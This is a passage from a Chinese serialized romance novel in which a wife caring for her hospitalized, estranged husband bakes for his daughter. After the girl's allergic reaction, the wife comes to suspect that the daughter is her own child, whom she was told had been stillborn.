宋今若一脸歉疚地说:“琴姨,都怪我。我最近因为昭昭的事情憋得慌,可又不能跟别人说。正好昨天顾亦寒给我打电话问昭昭的情况,我没忍住才……抱怨了一下。我也没想到,他就去找顾时序算账了。”
薛晓琴提起儿子,就掉眼泪:“亦寒从小没吃过苦。也不知道他在里面,究竟怎么样了?他那个性子,万一跟警察犯呛,也不知道会不会挨打?”
“琴姨,这件事是我惹出来的,我一定想办法请最好的律师救顾亦寒。”
宋今若说完,薛晓琴绝望地摇了摇头,道:“这次,请律师也没用了,他惹到的,是顾时序啊!”
我将我跟顾时序的交易说了出来,安慰道:“只要顾时序康复出院,他就会给顾亦寒出谅解书的。”
“真的吗?”
薛晓琴眼里终于有了一丝光,握着我的手,道:“昭昭,你没骗我?”
我苦涩地笑了下,道:“没骗你。”
可宋今若不愿意了。
“不行!你不能去!”
她是唯一一个知道我被顾时序害到流产的人。
得知我还要回去照顾他,宋今若死活不让我去。
我微微叹了口气,问:“那你还有什么别的办法,救顾亦寒出来吗?”
宋今若不吭声了。
我们一起离开顾亦寒家里,宋今若突然问我:“昭昭,你是不是怪我多嘴?顾亦寒出了这事儿,还是琴姨跟我说的。我就知道,你生我气了。”
“嗯。”
这次,我非常郑重地说:“今若,你明知道顾亦寒对我的心思,你就不该对他说那些话。还有我……流产的事,你也跟他说了吗?”
宋今若连忙道:“没有!这件事我没有说。我只说了顾时序不分青红皂白,让你去西岩寺下跪。”
我叹了口气,道:“我知道,你心疼我。但是,我现在的目的就是跟顾时序离婚,不想再节外生枝了。你明白吗?”
“我知道了。”
宋今若愧疚得要命,觉得是她害了我,离婚前,还得去给顾时序当一次保姆。
这时,我手机响了。
看到来电显示,我蹙眉接了起来。
那边传来顾时序清冷的声音:“去哪里了?”
我敷衍着回道:“出来透透气。怎么了?”
“我饿了。”
他说完,我才想起他早餐没吃。
而现在已经快中午了。
“好,我一会儿就回去。”
挂了电话,我突然想起以前的自己,他要是不吃饭,我能比他还着急,甚至想陪他一起饿着。
而现在,我上午到家时,给自己煮了一碗方便面,吃得可香了!
但我却压根没想起来,顾时序吃没吃饭的问题。
原来,再深的感情,再多的爱,终有一天,会被消耗光的。
路上,我去饭店打包了几样素菜,本来觉得手术后的病人应该喝点鸽子汤、黑鱼汤之类的补补。
但顾时序为了白月光吃斋念佛,我也不能破了人家的规矩。
就这样,我拎着几分素菜就回去了。
顾时序看到我把打包盒一个个摆放在他面前的时候,眉心紧紧皱了起来。
“叶昭昭,这是什么?”
他清冷的语调含着质问。
我淡淡地说:“你不是饿了吗?饭啊!”
顾时序一字一句道:“我一天付你一百万,都不能让你回去给我做顿饭,是不是?那你今天消失了一上午,究竟干什么去了?”
我微微一愣。
这男人,该不会以为我上午是回去给他做饭了吧?
呵!
直到现在,他还这么自信,我会心疼他,会为他义无反顾的付出。
我将他面前的饭菜收了起来,道:“那我让刘妈做点饭送来。你想吃什么?”
“我让你给我做!”
顾时序突然间陷入了一种病态的偏执,问:“一百万不够,那就两百万,五百万,一千万!够不够?”
“够了。”
我拿出手机,道:“先把一千万转过来,我就去给你做。”
感情没有了,谈钱也不错。
正好,这个价格,我买断他出轨的证据,已经回本了。
再做个几天饭菜,我找**调查他的费用,也回本了。
不亏了!
顾时序眸光凌厉地瞪着我,然后打开手机,给我转了账。
我看到银行卡里的金额,正准备回去做饭。
没想到,苏雅欣带着朵朵来了,手里还拿着饭盒。
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“爸爸!”
朵朵朝顾时序床边跑过去,甜甜地说:“我和妈妈来看你啦!而且,今天我在幼儿园得了小红花呦!”
说着,她将口袋里的两朵小红花小心翼翼地拿出来,捧在手心里给爸爸看。
顾时序显然对我气还没消,冷冷睨了我一眼,这才温和地对女儿道:“朵朵真棒!”
苏雅欣将饭盒放在茶几上,温婉的样子道:“这些饭菜是我和妈一起给你做的。今天早晨回去她特别生气,但还是亲手给你做了饭菜,怕你术后营养不够。”
顾时序的目光再次落在我身上,仿佛在说,让我看看人家是怎么对他的?
而我将脸转向窗外,拒绝接收信号。
反正我和顾时序是不可能了,谁爱对他好,跟我也没关系。
就在这时,苏雅欣看见了我给顾时序打包的饭菜,当即道:“这……这是什么?时序哥,你还病着,怎么能吃这种东西呢?外面的饭菜哪有家里的健康?”
“倒了吧!”
顾时序冷冷发话。
苏雅欣刚拿来垃圾桶,便被我截住。
“叶小姐,这种东西是不能出现在时序哥面前的。你跟他结婚这么多年,难道这都不知道吗?”
她看着我手中的外卖打包袋,十分鄙夷。
我笑了笑,道:“多亏你指教,现在我知道了。不过,信佛的人还是不要浪费粮食了吧。医院后面有挺多流浪狗的,我拿去给狗吃。”
苏雅欣震惊地看着我。
顾时序眼神仿佛能将我撕碎。
我是真的把这些饭菜拿去喂狗了,别看是素菜,但我想饭店的菜应该都是用荤油做的。
所以,狗狗们不挑食,吃得很香。
过了好一会儿,我慢悠悠的回去,恰好在电梯里遇见了刚出来的苏雅欣。
我本不想搭理她,可她似笑非笑地说:“叶小姐,朵朵就麻烦你了。”
我微微蹙了蹙眉。
仿佛意识到我的疑惑,她道:“我最近找了一个教演戏的老师,明天就去帝都了。所以最近,朵朵也会在时序哥这里。”
我虽然有点烦,但我也实在是佩服她。
为了不让我跟顾时序有独处的机会,也是拼了!
苏雅欣道:“叶小姐,还请你对朵朵好一点,不要把对我的怨恨转移到小孩子身上。”
“放心吧!你年纪轻轻替你姐没名没分的陪着顾时序,还帮你姐养孩子,连你都这么宽容,我又怎么会跟个孩子计较呢?”
我说完,苏雅欣脸色一变,眼中蹦出一抹阴寒,道:“叶小姐,鹿死谁手,还说不定呢!你别高兴得太早。”
她踩着高跟鞋扬长而去。
我不禁担心起来。
不知道这女人把朵朵留在这儿,纯粹是为了当电灯泡,还是有什么别的目的?
我回到病房时,顾时序正在哄她。
“爸爸,我不喜欢她!”
小丫头指着我,道:“能不能让奶奶来照顾你,朵朵不想跟她呆在一起。”
顾时序柔声道:“这个阿姨不是坏人。不然这样吧,你跟她相处几天。如果你还是很讨厌她,那爸爸就让她走。好吗?”
朵朵还没说话,我就道:“顾时序,你的女儿你自己跟她相处就可以了。免得到时候她摔了、伤了,往我身上赖。”
我先把丑话说在了前面。
朵朵听见我不待见她,气呼呼地说:“我还不想理你呢!”
顾时序给了我一个警告的眼神,道:“朵朵,阿姨不是那个意思。对了,她会做蛋糕。今天晚上,让她给你做个蛋糕吃,好不好?”
朵朵一听蛋糕,眼睛都亮了,“可以让她做拉布布形状的蛋糕吗!”
顾时序看向我。
其实他知道,我是有烘培师证的。
尽管他不喜欢吃甜的,但为了那每年一次的生日蛋糕,我专门去学过烘培。
所以现在,顾时序让我给他女儿做。
我面无表情地说:“我做不了。”
顾时序冷冷道:“我给你转的那一千万,还不够你做个蛋糕,是不是?”
我笑了笑,道:“一千万那是给你做饭的价格。给你女儿做,那是另外的价钱!”
第71章 给他擦身,他起了反应
顾时序的眉峰拧成了结。
不过,为了他女儿,他一个字都不啰嗦,拿出手机。
我这边手机一响,账户里提示又多了一千万。
“现在够了?”他语气里带着压抑的愠怒。
我收起手机,面无表情地应了声:“等着。”
我直接让刘妈把烘培箱和食材拿到了医院。
毕竟,苏雅欣把这个孩子留在这儿,我实在不知道什么用意。
我做的任何东西,都必须当着顾时序的面,否则,谁知道她会不会说我在食材里放了什么东西害她女儿?
没过多久,刘妈就将烘培蛋糕的一切食材带来了。
顾时序靠在床头看文件,朵朵搬了小凳子坐在旁边,假装翻着绘本,眼角余光却总往我这边瞟。
我没说话,自顾自地在桌前忙着。
打发奶油时,小丫头忍不住凑过来,问:“你真能做出拉布布?上次甜品店叔叔做的,耳朵都歪了!”
“你等着吃就行了。”
我头也没抬,手里的动作没停下。
她被噎了下,气鼓鼓地坐回去,但目光却聚精会神地看着我。
傍晚时分,我终于做好了朵朵想要的蛋糕。
她显然期盼已久,不禁发出了一声感叹:“哇,真的是拉布布哎!”
说完,她好像意识到了什么,赶紧收敛住馋嘴的表情,道:“也就……看着还行吧!”
我心中泛起冷嘲,真是跟顾时序一样别扭的性格。
病房里飘香四溢,朵朵连吞了几口口水,问顾时序:“爸爸,我可以吃吗?”
“先让你爸吃!”
我冷冷说完,给顾时序先切了一块。
男人见我主动递给他蛋糕,冷峻的脸上划过一抹意外。
我道:“你先吃,看看有没有毒。别到时候你女儿拉了、吐了,说是我做的蛋糕有问题。”
顾时序脸色立刻暗了下来,将手里的陶瓷餐盘放在旁边的桌上,冷声道:“你知道我不喜欢吃甜的。”
“爸爸,我喜欢吃甜的。”
朵朵跑过去,眼巴巴地看着他。
顾时序嘴角露出一抹宠溺,重新拿起餐盘,一勺勺喂给她。
一块蛋糕还没喂完,顾时序来了几个工作电话。
他想让我喂他女儿,但我没这么做。
朵朵知道我不待见她,便自己拿着盘子,坐在茶几前吃。
一边吃,还一边道:“其实也没有多好吃,我只是饿了而已。”
我瞥了她一眼,没搭理,坐在客厅沙发上更新我的小说。
没过多久,姜淑慧推门而入,手里拎着给顾时序的晚餐。
见朵朵正在吃蛋糕,她皱眉道:“朵朵,这哪里来的?”
朵朵指着我,道:“她做的。奶奶,你要不要尝尝?”
姜淑慧立刻警惕起来,直接拿起盘子丢进了垃圾桶,斥责道:“奶奶不是跟你说过,不准吃陌生人给的东西!”
“奶奶!你干嘛呀!那是爸爸用钱买的!”
朵朵急得直跳脚,却被姜淑慧死死拉住。
“什么钱不钱的!这女人的东西能碰吗?”
婆婆瞪着我,道:“时序呢?他在哪儿?”
我专注着手里的小说,眼皮都没抬,淡声道:“不知道,他刚才出去了!”
姜淑慧直接暴怒,走过来推搡着我,道:“你就是这么伺候时序的?他是个病人,你连他去哪儿都不知道?还是说,你想趁他不在,害他女儿!”
就在这时,顾时序从外面回来了,他蹙眉道:“妈,我刚才在长廊上走走,老远就听见您的声音。”
姜淑慧拉着朵朵告状,“你看看你女儿吃的是什么?这女人的东西,你也敢给你女儿吃!”
顾时序不满地说:“我在这儿看着,能出什么事?”
“那也不行!”
姜淑慧道:“朵朵,跟奶奶回家!这种心肠歹毒的女人,以后不要接触她。”
说完,姜淑慧直接拉着孙女儿走了。
临走时,朵朵还一步三回头地看着桌上还没吃完的蛋糕。
门“砰”地关上,病房里静了下来。
我微微叹了口气,走过去将姜淑慧送来的晚餐拿了出来,摆在桌上放好。
可顾时序竟然没吃,而是走到我放蛋糕的那个桌子上,拿起剩下的半块蛋糕,慢慢吃了起来。
我挺意外的,问他:“你不是不喜欢吃甜食?”
他瞥了我一眼,冷冷地说:“我花了一千万买的东西,我想吃就吃。”
“我出去透透气!”
我觉得跟他在一起的每分每秒,都憋得慌。
他却道:“等我吃完饭,一起去。”
我深深吸了口气,顿时觉得‘透气’也失去了意义。
这时,孙杰敲了敲门,也拿了一个餐盒进来。
见顾时序正坐在桌前吃蛋糕,他微微错愕了一下。
我解释道:“他已经有晚餐了,刚才他母亲送来的。”
我不禁觉得顾时序太不把员工当人了,明明有人给他送饭,还非要人家大晚上的再多跑一趟。
可我没想到,孙杰对我道:“太太,这个饭是您的。”
他说着,将饭菜打开,荤素都有,很丰盛。
孙杰笑着说:“顾总吩咐我买的,说您有胃病还有贫血,要吃点肉补补。”
我还没来得及反应,顾时序微冷的声音就传了过来:“免得你到时候又晕了、吐了,逃避照顾我的责任。吃饱了,才好伺候我。”
我顿时觉得眼前的饭菜索然无味。
我跟孙杰道了谢,随便吃了几口饭。
吃完饭,顾时序已经站起身来,“不是要出去透气吗?”
我见他也要去,便敷衍着道:“我又不想去了。”
反正逃不了跟他在一起,去哪里又有什么区别?
顾时序微微皱了下眉,道:“但是我想去!帮我穿外套。”
我去衣柜前拿出了他的羊绒大衣帮他披上,跟他一起去了住院部后面的花园里。
只是,一路上,我都没说话,他也沉默着。
认识了二十年的人,却终于走到了相顾无言的地步。
顾时序虽然刚做完手术,但他伤的不是脚,走起路来倒是不觉得疲惫。
我们绕着后花园走了半小时,他还没有停的意思。
可我的膝盖,已经泛起了密密麻麻的痛。
一个月前在西岩寺的台阶下跪,我的膝盖直到现在,还是不能长时间走路。
稍微多走几步,就痛得发僵。
见我停下了,他蹙眉问:“跟我一起散个步,都能让你痛苦成这样?”
医院花园的夜风带着凉意,我想起了那天西岩寺的暴雨和蜿蜒在台阶上的血。
面对他不满的疑问,我面无表情地说:“我膝盖痛得很,走不动了。你自己走吧!”
我转身离开,步伐极慢地往回走去。
顾时序很快就跟了上来,沉声开口:“你跪几个台阶就疼得受不住,可是被你害死的念恩,是从十六楼跳下去的。她该有多疼?”
我顿住脚步,抬头望着他。
月光落在顾时序冷峻的脸上,让本就清冷的他更加凉薄了。
膝盖的隐痛和心口的钝痛交织在一起,像一张密不透风的网,把我困在中间,喘不过气。
顾时序没再等我,自顾自地往前走去。
回到病房时,医生正在给他换纱布。
绷带拆开后,医生看到淡粉色的血迹,眉头骤然拧紧,道:“伤口缝合处怎么裂开了?”
我站在墙角,看着那道外翻的伤口,想到他昨天自己擦身子。
估计是擦后背的时候,把手术刀口扯开了。
医生帮顾时序重新处理了一下,临走时,严肃地叮嘱我:“千万要照顾好病人,否则,伤口会感染的。”
顾时序坐在床边,脸色很不好。
估计是想起了苏念恩,我能感受到他现在对我的不满和愤怒。
我去浴室接了温水,帮他解开扣子擦身,机械性地重复着同样的动作,像在擦洗一件没有生命的物件。
指尖触到他温热的皮肤时,我刻意放轻了力道,他却忽然绷紧了脊背。
尽管他脸上依旧覆着冰霜,可他的喉结却滚了一下,就连薄薄的睡裤都好像被什么顶起来了一些。
我像没看见似的,擦完便将毛巾放回盆里,转身就走。
“叶昭昭。”
顾时序忽然开口,声音里带着隐忍的痛意,还有些说不清的复杂,“你有什么资格恨我?”
我脚步一顿,没回头。
“如果不是你害**念恩,”他声音冷得像冰,“我们本可以一直这样过下去。”
“这样过下去?”
我终于转过身,忽然笑了笑,“顾时序,你觉得‘这样’,是哪样?你把爱给了苏念恩,你把信任给了苏雅欣。你让我做个没有喜怒哀乐的傻子,跟你过下去吗
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?”
我顿了顿,目光落在他裤子的某处,道:“还是像现在这样,靠我擦身,却想着另一个女人的样子!”
他的脸色瞬间沉了下去,眸光格外锋利地瞪着我。
可终究,他什么都没说。
原来,他也有哑口无言的时候。
……
一直到第二天中午,我们都没再跟对方说一句话。
但该我做的事,我没有逃避。
毕竟,我是收了钱的。
中午,我亲手做了饭菜给他,但姜淑慧同时也送来了饭菜。
顾时序对母亲道:“妈,我昨天不是都说了么,以后您不用再来给我送饭。”
姜淑慧轻蔑地睨了我一眼,道:“我怕有些人会往菜里下毒,害死你!还是吃我们自己家里的饭放心。”
说到这儿,她冷哼了声,道:“毕竟,她已经害**念恩,手里有一条人命了。再多一条,她也无所谓的!”
我看都没看她一眼,而是拿出我的手机,对顾时序道:“今天的饭做了,一千万记得打到我卡里。”
至于他吃不吃,跟我无关。
反正我的钱,已经赚到了。
顾时序脸色难看,但还是给我转了。
姜淑慧简直是瞠目结舌,“什么?一千万?时序,你疯了么?她做了什么,值一千万!”
顾时序揉了揉微皱的眉心,道:“她是我太太,我的就是她的。一千万又如何?”
“不是都要离婚了吗!”
姜淑慧咬牙切齿地道:“她是不是想在离婚前再捞你一把!我早就说过,这女人当初死皮赖脸地跟着你,就是为了钱!”
顾时序面色透着几分不耐,道:“妈,医生说我要静养。怎么您每次一来,就闹哄哄的?”
姜淑慧别提多难堪了。
她气急败坏地点点头,道:“好!好!以后,我不管你了,就让这**给你做饭。等你被她毒**,你就知道我是为你好!”
她离开后,病房里瞬间安静下来。
我以为顾时序是要吃他妈妈带来的那份饭了,所以我直接将我做的那份饭拿走,准备拿下去喂流浪狗。
可顾时序修长的手指却摁在了我的那份餐盒上。
我蹙眉:“你还是吃你妈带来的那份吧。”
他漆黑的眸子紧锁着我,问:“那你会毒死我吗?”
我冷冷扯了下唇角,道:“毒死你,我也要赔命。但是顾时序,你不值得让我赔了这条命。”
顾时序冷笑着,点点头,“好。我不值,顾亦寒值。”
我不理会他的发疯。
他吃了我的那份饭,所以我把姜淑慧带来的那份拿下去喂狗了。
下午,难得清闲没什么事。
我坐在客厅更新我的小说。
这时,编辑在QQ上发来信息,告诉我买我小说影视版权的公司已经开始筹备选角了。
当时签合同的时候,有一个条例是我对小说里的任何角色都有参与权,也有一票否决权。
所以,那家公司下周的选角,也邀请了我。
我答应邀约后,编辑发来了一份参与选角的演员名单。
苏雅欣的名字赫然在列,依然是试戏我小说里的女主角。
但试戏的女演员不止她一个,许多当红女星都参与了这次的试戏。
毕竟,买我小说影视版权的这家公司资金和背景都很雄厚,而且导演已经确定了,是圈子里非常著名的导演。
我甚至在试戏女主角的名单里,还看到了苏雅欣死对头安染的名字。
这两人从出道开始,便面和心不和,红毯上争奇斗艳,拍照要争个C位,就连两家粉丝都互撕过多少次了!
但安染比苏雅欣好的一点是,她虽然也是流量爱豆出身,但从出道起就实打实的演戏,打磨演技。
她比苏雅欣更有韧劲,也要更努力。
而微博上苏雅欣和安染同时参与试戏的消息传了出去,两家粉丝已经开始互撕了。
我不禁扬起唇角,这次的修罗场,好玩儿了!
就在这时,顾时序的声音从我身后传来:“在跟谁发信息?笑得这么开心。”
我心一惊,立刻合上电脑,完全不想被他知道我写小说的事。
免得他又用什么手段威胁我,给苏雅欣争取角色!
我打岔道:“你走路都没声音的吗?”
顾时序狐疑的目光仍盯着我的笔记本电脑,道:“打开!”
第72章 朵朵竟是我亲生女儿!
就在这时,顾时序手机突然响了起来,是他女儿打来的。
这一打岔,他也不再执着于看我的电脑,而是柔声问电话那边:“朵朵,放学了吗?”
我隐约听见听筒那边小姑娘祈求的声音:“爸爸,今天放学你来接我好不好?我不想跟奶奶回家。”
顾时序顿了顿,问:“为什么?”
“奶奶好啰嗦,脾气也好坏,动不动就凶朵朵。”小姑娘委委屈屈地说:“爸爸对我最好了,我要跟爸爸在一起。”
顾时序语气不自觉放软:“好,爸爸马上去接你。”
挂了电话,他让司机在楼下等他,自己立刻去换衣服。
纵使身上还缠着绷带,但没有什么能阻挡他去接女儿。
我见他换个衣服都费劲吧啦的,还是过去搭了把手。
“你跟我一起去。”
他并非商量的语气。
我冷冷道:“我没兴趣去接你女儿,你自己去吧!”
想到这个骄纵的小公主一会儿又要过来,我就头疼。
可顾时序却道:“别忘了,顾亦寒还在里面待着呢。”
我深深吸了口气,挤出一抹微笑,“好,我们走吧!”
就这样,我跟他一起坐上车,去了幼儿园。
路上,顾时序跟姜淑慧说了声今天不用去接朵朵了,那边传来姜淑慧不满的声音。
“难不成你又让朵朵去你那儿?那个小**不知道会不会害我孙女儿!”
顾时序显然也挺反感姜淑慧这种性格的,他敷衍着说:“有我在,不会出事。”
说完,也不管他母亲如何回应,就挂了电话。
到了幼儿园,朵朵已经背着小书包出来了。
今天的她穿了一件粉色的羊绒连衣裙,卷卷的头发还带了个同色系的蝴蝶结发箍,整个人都是粉嘟嘟的。
除开性格来说,小姑娘还是很可爱的。
看到顾时序从车上下来,她眼睛立刻亮了,小跑着过去。
可瞧见跟在他身后的我,小丫头立刻扭过头噘起嘴。
这时,旁边一个小男生路过,笑眯眯地跟她打招呼:“朵朵,你妈妈好漂亮啊!”
“她才不是我妈妈!”
朵朵立刻大声反驳,“我妈妈比她漂亮一百倍!”
说完,她跑到顾时序身边,告状似的,道:“爸爸你怎么把她带来了?我才不想看见她呢!”
顾时序胸口有伤不能抱女儿,他蹲下身,温柔地对女儿道:“朵朵,你忘记了,这个阿姨会做蛋糕呢。今天,再让她给你做一个,好不好?”
朵朵偷偷瞄了我一眼,问:“可以吗?”
我点点头。
得了!今天这一千万,又算赚到了!
一上车,我就拿出了手机,在顾时序面前晃了晃。
顾时序脸色一僵,立刻领悟到我的意思,臭着脸给我转了账。
回去之后,刘妈已经把新鲜的材料拿了过来。
我默默做着我的蛋糕。
可这次,小丫头也没像上次那样远远地坐着。
而是在我旁边,摸摸这个,动动那个。
她双手扒在桌边,垫着脚尖看我打发奶油,黑亮的眼睛里充满了好奇。
我停住动作,看着她。
朵朵连忙站远了些,嘴硬地说:“我就是看看而已,我才不想学呢!”
我无奈地摇摇头,这孩子,是真不讨人喜欢。
“要不要试试?”
我看着手里打发了一半的奶油问她。
朵朵一愣,有点期待,但又不敢上前,小声道:“可以么?”
“嗯。”
我将打发器递给她,道:“来吧。”
朵朵小心翼翼地接过来,垫着脚尖才能够到桌子。
原本傲娇的小脸上此时充满了认真,奶呼呼的样子突然有点可爱。
偶尔将奶油打得溅出来了点,她还会不好意思地吐吐舌头。
这时,我突然感受到身后一抹灼灼的目光。
从回来一直在看文件的顾时序不知什么时候站在了厨房,就这么斜倚在门框上入神儿地朝这边看。
就在这时,他手机传来微信视频的声音,是苏雅欣打来的。
顾时序点开后,便听见苏雅欣甜腻的声音:“时序哥,我好想你和女儿啊!听妈说,朵朵在你那儿呢,我能看看她吗?”
“嗯。”
顾时序拿着手机走过来,对着朵朵,道:“来,跟妈妈说几句话。”
朵朵此时正高兴地玩着奶油,她兴致勃勃地说:“妈妈,你看,我在学做蛋糕呢!等你回来,我就可以给你做蛋糕啦!”
苏雅欣脸色划过一抹异样,问:“谁教你做蛋糕的?”
朵朵道:“就是那个讨厌的女佣阿姨呀!她做的蛋糕好好吃,我也要学!”
我彻底无语。
孩子,还得是自己的好啊!
别人的孩子,再怎么带,也跟你亲不了。
我莫名有些烦躁,默默走到阳台上,身后朵朵和苏雅欣的对话也渐渐听不清了。
母女俩似乎说了很久,朵朵端着打发好的奶油跑过来,对我道:“我已经把奶油打好了,接下来要怎么做呀?”
“我不想教你了。”
我完全不掩饰自己的不高兴。
朵朵眨眨眼睛,奶声奶气地问:“为什么?我打奶油不好吗?”
我面无表情地说:“既然我是讨厌的女佣阿姨,你干嘛还吃我做的蛋糕?”
“我……”
朵朵跟顾时序一样,向来不是服软的脾气。
她愤愤地说:“我爸爸给了钱的,你凭什么不给我做!”
顾时序听见声音也过来了。
本以为这次他又会拉偏架,可没想到,还没等朵朵告状,便听他教育女儿:“朵朵,好好说话。你不喜欢奶奶凶巴巴的,可你知不知道,你现在这样子,也很凶哦。”
朵朵立刻住嘴,很紧张的样子,道:“我不要变成奶奶。凶巴巴的,会丑的!”
顾时序这才看向我,“别跟小孩子计较了,嗯?”
又是这句话!
看在一千万的份上,我回到了屋里,继续做没有完成的蛋糕。
朵朵也赶紧跟了进来。
今晚的蛋糕有她的参与,做好之后,顾时序很给面子地吃了不少。
朵朵别提多开心了。
姜淑慧打来电话,问什么时候接朵朵回去睡觉。
可小姑娘却爬上爸爸的床,开始耍赖:“爸爸,朵朵不要回奶奶那儿,朵朵要跟你睡。”
顾时序对女儿一直都是有求必应的。
他几句话回绝了母亲,然后让我带着朵朵去浴室洗漱。
索性这小丫头还算乖,一直老老实实的。
晚上,我还是睡在外面的客厅。
隐约听见里面朵朵的声音。
“爸爸,妈妈什么时候才回来呀?我想跟爸爸妈妈一起睡。我们都好久没有一起睡了!”
顾时序耐心地说:“妈妈在忙工作,过几天就回来了。”
我听着里面父女俩的对话,那是一种我永远插不进去的亲昵。
我不过是个暂住在这里的外人,连旁听这种温馨期盼,似乎都显得多余。
……
翌日一早,苏雅欣竟然来了。
当时,我正在给朵朵扎小辫子。
因为之前顾时序失败了好几次,朵朵上幼儿园快迟到了。
看着小姑娘乱七八糟的头发,我实在是受不了,索性自己上了。
朵朵见苏雅欣来,叫了声“妈妈”,但注意力全都在她的新发型上。
看着镜子里我给她编的头发,似乎非常开心。
可苏雅欣的脸色却阴沉到了极点。
我这才反应过来。
大概是这女人本来想把女儿塞过来恶心我,没想到短短几天,我教她女儿做蛋糕,又给她女儿编辫子,她女儿还挺高兴的。
所以,苏雅欣有危机感了。
这大清早的,她就拎着行李箱,估计刚下飞机就直接来了。
顾时序见她过来,问:“你不是说要去外地学习一星期吗?怎么今天就回来了?”
苏雅欣笑了笑,道:“我怕朵朵一直在你这里耽误你休息,也怕她给叶小姐添麻烦。”
说完,她抱起女儿,道:“朵朵,妈妈送你上幼儿园好不好?”
“好呀!妈妈,我都想死你了!”
说到这儿,她突然想起了什么,撅着嘴,道:“妈妈,你为什么每次送我去幼儿园都让我自己下车呢?昨天,我同学还把女佣阿姨认成了你。可我想让大家看到我自己的妈妈,别人妈妈都会把小朋友送到教室里的。”
朵朵话音刚落,苏雅欣脸色就变了。
随即,她挤出一抹微笑,语气却带着点不易察觉的酸意:“妈妈是明星,跟普通人不一样的。如果妈妈出现了,会引起轰动,知道吗?”
朵朵似懂非懂地点点头。
苏雅欣轻蔑地瞥了我一眼,道:“叶小姐,谢谢你这几天带朵朵。我先带她走了。”
我直接无视她,没理会她这种假惺惺的客套。
她们走后,顾时序幽幽地说:“朵朵现在好像越来越喜欢你了。”
“是么?”
我冷冷道:“没看出来!况且,我也不需要她的喜欢,她喜欢你就行了。”
顾时序被我噎了一下,不再说话。
一连几天,苏雅欣都没再把朵朵送来。
而我再次得到朵朵的消息,是宋今若的一个救助电话。
当时我正在客厅更新小说,顾时序在里屋办公,也将就算得上平静。
电话里,宋今若的声音吓到发抖:
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“昭昭,这该怎么办?朵朵……朵朵出事了。”
“怎么了?”
我也跟着紧张起来。
宋今若道:“你千万别告诉顾时序。朵朵今天下午在幼儿园吃点心的时候过敏了,也不知道是因为什么过敏。反正当时就口吐白沫,然后昏过去了。要是顾时序知道,他肯定不会放过我们宋家的。”
我追问道:“那现在她的情况怎么样了?”
“医生说是过敏,正在排查过敏原。”
宋今若欲哭无泪,整个人六神无主。
我问:“你们在哪家医院?”
“海城中心医院。”
宋今若说完,我道:“你等我一下,我马上过去。”
我刚跟她结束通话,顾时序的声音从里面传出来:“谁的电话?”
我心提到了嗓子眼儿,故作镇定地说:“宋今若找我有点事,我先出一下,马上就回来。”
顾时序也没多说什么。
我拎起包包,出了门就狂奔到车库。
……
海城中心医院。
我赶到的时候,朵朵已经醒了。
宋今若捂着心口,道:“谢天谢地,真是吓死我了!”
此时,朵朵正在观察室输液,看起来已经基本恢复正常了。
我也替宋今若松了口气。
“医生有没有说是因为什么过敏?”我问。
宋今若道:“正在查,说是晚点才能知道结果。”
说到这儿,她一脸郁闷地说:“虽然医生说输完液之后,就可以恢复正常。可万一这孩子要是回去告状,顾时序还不把幼儿园都给我拆了!”
“先进去看看孩子吧。”
就这样,我们一起进了病房里。
虽然小姑娘已经醒了,但这次过敏应该很严重,所以嘴唇和脸色都有些白。
见我在这儿,她疑惑地眨眨眼睛:“女佣阿姨?你怎么来了?”
“听说你过敏了,所以来看看你。”
我试探着问:“今天晚上,是你奶奶接你,还是你妈妈接你啊?”
朵朵郁闷地撅着嘴道:“妈妈又去工作了,奶奶说晚上接我。她还不知道我进医院的事,我还没来及告诉她和爸爸呢!”
我和宋今若同时松了口气。
就在这时,朵朵突然想起了什么,对我道:“要不,你晚上带我去爸爸那里吧!我就不让奶奶来接我了。”
我能感受到这小丫头也挺烦姜淑慧的。
这样也好,要是被姜淑慧知道朵朵在幼儿园过敏,估计比顾时序的反应还要大。
所以我立刻答应了下来。
不过,小丫头脸上还是一副不开心的样子。
我问:“怎么了?”
朵朵小心翼翼地问:“你会烘培饼干吗?今天晚上,可以帮我烘培饼干吗?明天,我想带给幼儿园的小朋友吃。他们的妈妈都会,可我妈妈很忙,从来都不帮我做。”
我和宋今若暗暗对视了一眼。
我点点头,道:“我会做饼干,而且,我还可以给你做很多种口味的饼干,让你去跟小朋友分享。”
“真的吗?”
朵朵开心地咧嘴笑着。
我道:“但是,你要答应阿姨一件事。今天你过敏的事,不可以跟你爸爸妈妈还有奶奶说,可以吗?”
朵朵一愣,但她人小鬼大,很快就明白了什么。
她保证道:“你放心吧,我不会说的。只要你教我做饼干,让小朋友们都羡慕我!”
宋今若这才算松了口气。
我捏捏朵朵的脸蛋儿,道:“还有,以后叫我‘叶阿姨’或者‘昭昭阿姨’。不可以再叫我‘女佣阿姨’,听见了吗?”
朵朵这次是真疑惑了,她问:“那你不是女佣,为什么要照顾我爸爸呢?”
我脸色微沉,回答不出。
可为了让我教她做饼干,朵朵还是妥协了,“好吧,那我以后叫你‘叶阿姨’。”
就在这时,医生走了进来。
“过敏原结果出来了。食物里有菠萝粉的成分,这孩子对菠萝过敏。所以以后,不要再给她吃类似的食物了。”
简简单单一句话,却在我心里炸开层层叠叠的惊涛骇浪。
因为,我也对菠萝过敏!
脑海中猛然想起之前顾时序逼我给朵朵献血。
朵朵是稀有血型,而我,也是稀有血型。
我指尖因为用力攥紧而泛白,那些沉痛的记忆铺天盖地地涌了上来。
当年那个孩子一出生,我连看都没看一眼,医生便说是死胎,我的丈夫因为怕我伤心,所以要求直接把胎儿火化。
会不会我的女儿并没有死?
只是这么多年,她喊了别人“妈妈”。
这样的认知令人窒息,像藤蔓一样顺着血管往上爬,几乎要扼住我的喉咙。
第73章 他要在浴室跟我生孩子
我不知道顾时序的心究竟是什么做的?
他让我和女儿分离这么多年,他当年眼睁睁地看着痛不欲生的我,却依旧将这个谎言进行了下去。
我快步走出病房,在走廊上扶着冰冷的墙壁大口喘气,胸口像被巨石压住,每一次呼吸都带着钝痛。
宋今若快步跟上来,担心地问:“昭昭,你脸色怎么这么难看?”
我又回头看了眼身后那间病房,喉咙发紧:“我的孩子……我的孩子可能根本就没有死。朵朵就是我女儿!”
宋今若也被惊到了,不可思议地看着我,“昭昭,你知道自己在说什么吗?”
我声音发颤却异常清晰:“她对菠萝过敏……”
宋今若耐心地说:“昭昭,我知道,你跟顾时序的两个孩子都没保住,对你的打击很大。但是,她菠萝过敏并不能代表什么啊?菠萝过敏的人多了!”
“但是跟我一样是稀有血型,年纪也卡得这么合适的孩子,只有朵朵。”
我眼神坚定,很确信。
然后将那次朵朵得疟疾需要人献血的事,告诉了宋今若。
